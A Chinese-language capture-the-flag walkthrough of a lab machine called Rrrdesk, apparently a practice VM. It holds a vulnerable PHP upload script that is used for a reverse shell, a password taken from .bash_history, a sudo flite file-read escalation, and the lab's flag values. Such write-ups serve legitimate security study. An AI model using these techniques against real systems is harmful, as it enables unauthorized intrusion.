一、信息收集

1. 主机发现

首先，使用 `arp-scan` 在 `192.168.205.0/24` 网段中扫描存活主机，确定目标IP地址。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.132 08:00:27:cf:26:10       PCS Systemtechnik GmbH
...
```

命令输出确认了目标主机的IP地址为 `192.168.205.132`。

2. 端口扫描

使用 `nmap` 对目标主机 `192.168.205.132` 进行全端口扫描，以识别对外开放的服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.132
...
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3389/tcp open  ms-wbt-server
...
```

扫描结果表明，目标主机开放了 **22 (SSH)**、**80 (HTTP)** 和 **3389 (RDP)** 端口。我们首先从Web服务入手。

3. Web信息探测

访问 `http://192.168.205.132` 是一个文件上传页面。使用 `gobuster` 进行目录扫描，发现了一个可疑的备份文件 `back.zip`。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u http://192.168.205.132 -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
-x php,txt,html,zip,db,bak -t 64
...
/uploads              (Status: 301) [Size: 320] [-->
http://192.168.205.132/uploads/]
/upload.php           (Status: 302) [Size: 0] [--> index.php]
/back.zip             (Status: 200) [Size: 911]
/index.php            (Status: 200) [Size: 14529]
...
```

下载并解压 `back.zip` 文件，获取到网站的源码 `upload.php` 和 `index.php`。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ wget http://192.168.205.132/back.zip
...
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ unzip back.zip
Archive:  back.zip
  inflating: upload.php
  inflating: index.php
```

二、Web渗透与立足点

1. 漏洞分析

通过审计 `upload.php` 的源代码，我们发现了其核心处理逻辑：

```php
<?php
$upload_dir = '/var/www/webdav/uploads/';
$filename = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];

if (!empty($filename)) {
    // 生成MD5文件名（保留原扩展名）
    $file_ext = pathinfo($filename, PATHINFO_EXTENSION);
    $new_name = md5(pathinfo($filename, PATHINFO_FILENAME)) . ($file_ext ?
".$file_ext" : '');

    // 移动文件到上传目录
    if (move_uploaded_file($tmp_name, $upload_dir . $new_name)) {
        echo "Upload ok";
    } else {
        echo "文件上传失败! ";
    }
} else {
    header("Location: index.php");
}
?>
```

代码逻辑存在明显的任意文件上传漏洞。它将上传文件的文件名（不含扩展名）进行MD5哈希，然后拼接上原始扩展名，存储到 `/var/www/webdav/uploads/` 目录下。由于没有对文件类型或内容做任何检查，我们可以上传一个PHP反弹Shell。

2. Getshell

利用步骤:

1. 创建一个名为 `reverse.php` 的反弹Shell文件。
2. 计算文件名 "reverse" 的MD5值。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ echo -n 'reverse' |md5sum
4d9c2073afa3c2abb817dceb22c34de6  -
```

上传后的文件将被命名为 `4d9c2073afa3c2abb817dceb22c34de6.php`。

3. 在攻击机（Kali）上开启 `netcat` 监听 `4444` 端口。
4. 通过Web页面上传 `reverse.php` 文件。
5. 在浏览器或使用 `curl` 访问 `http://192.168.205.132/uploads/4d9c2073afa3c2abb817dceb22c34de6.php`。
6. 攻击机成功接收到反弹Shell，获得 `www-data` 用户权限。

三、权限提升

1. 横向移动 (www-data -> lemon)

在 `www-data` 的Shell中，我们检查 `/home` 目录，发现了 `lemon` 和 `welcome` 两个用户。通过翻阅 `lemon` 用户家目录下的 `.bash_history` 文件，我们发现了一条可疑记录。

```
www-data@Rrrdesk:/home/lemon$ cat .bash_history
...
echo speaker | md5sum
...
```

这强烈暗示用户 `lemon` 的密码可能是 `speaker`。

我先尝试了su切换用户，但是该系统没有su，然后尝试使用SSH连接，虽然 `nmap` 扫描显示SSH服务开放，但尝试使用 `lemon:speaker` 登录SSH失败，这通常意味着SSH配置限制了该用户的登录（前段时间，群主聊过相关的话题，我看了几眼，并且经过验证，确实是ssh的配置文件限制了`welcome`、`lemon`用户的登录）。

然而，端口扫描也发现了开放的 **3389 (RDP)** 端口。我们尝试使用该凭据进行RDP连接。

ps:这里我打的路线不是3389，我是直接在靶机登录了，但是这个思路是犯规的🤪。

```
┌──(kali㉿kali)-[~]
└─$ rdesktop -u lemon 192.168.205.132
```

成功登录到 `lemon` 用户的桌面环境。我们在此环境下反弹一个新的Shell到攻击机，以便后续操作，并成功读取到第一个Flag。

```
lemon@Rrrdesk:~$ cat user.txt
flag{user-9ffbf43126e33be52cd2bf7e01d627f9}
```

2. 提权至root (lemon -> root)

在 `lemon` 用户的Shell中，执行 `sudo -l` 来检查其 `sudo` 权限。

```
lemon@Rrrdesk:~$ sudo -l
...
User lemon may run the following commands on Rrrdesk:
    (ALL) NOPASSWD: /usr/bin/flite
```

结果显示，`lemon` 用户可以无需密码以root权限执行 `/usr/bin/flite`。`flite` 是一个文本到语音的合成器。通过测试，我们发现 `flite` 的 `-add_lex` 参数可以被用来读取文件。当它尝试读取一个非标准格式的词典文件时，会报错并显示文件的内容。

我们可以利用此特性来读取 `/root` 目录下的 `root.txt` 文件。

```
lemon@Rrrdesk:~$ sudo /usr/bin/flite -add_lex /root/root.txt
add_addenda: lex cmu: expected ":" in flag{root-
68b329da9893e34099c7d8ad5cb9c940}
```

命令的报错信息成功泄露了 `root.txt` 的内容。

四、获取Flag

我们已经成功获取了系统上的所有Flag。

- **User Flag:**

  ```
  lemon@Rrrdesk:~$ cat /home/lemon/user.txt
  flag{user-9ffbf43126e33be52cd2bf7e01d627f9}
  ```

- **Root Flag:**

  ```
  flag{root-68b329da9893e34099c7d8ad5cb9c940}
  ```

渗透测试完成。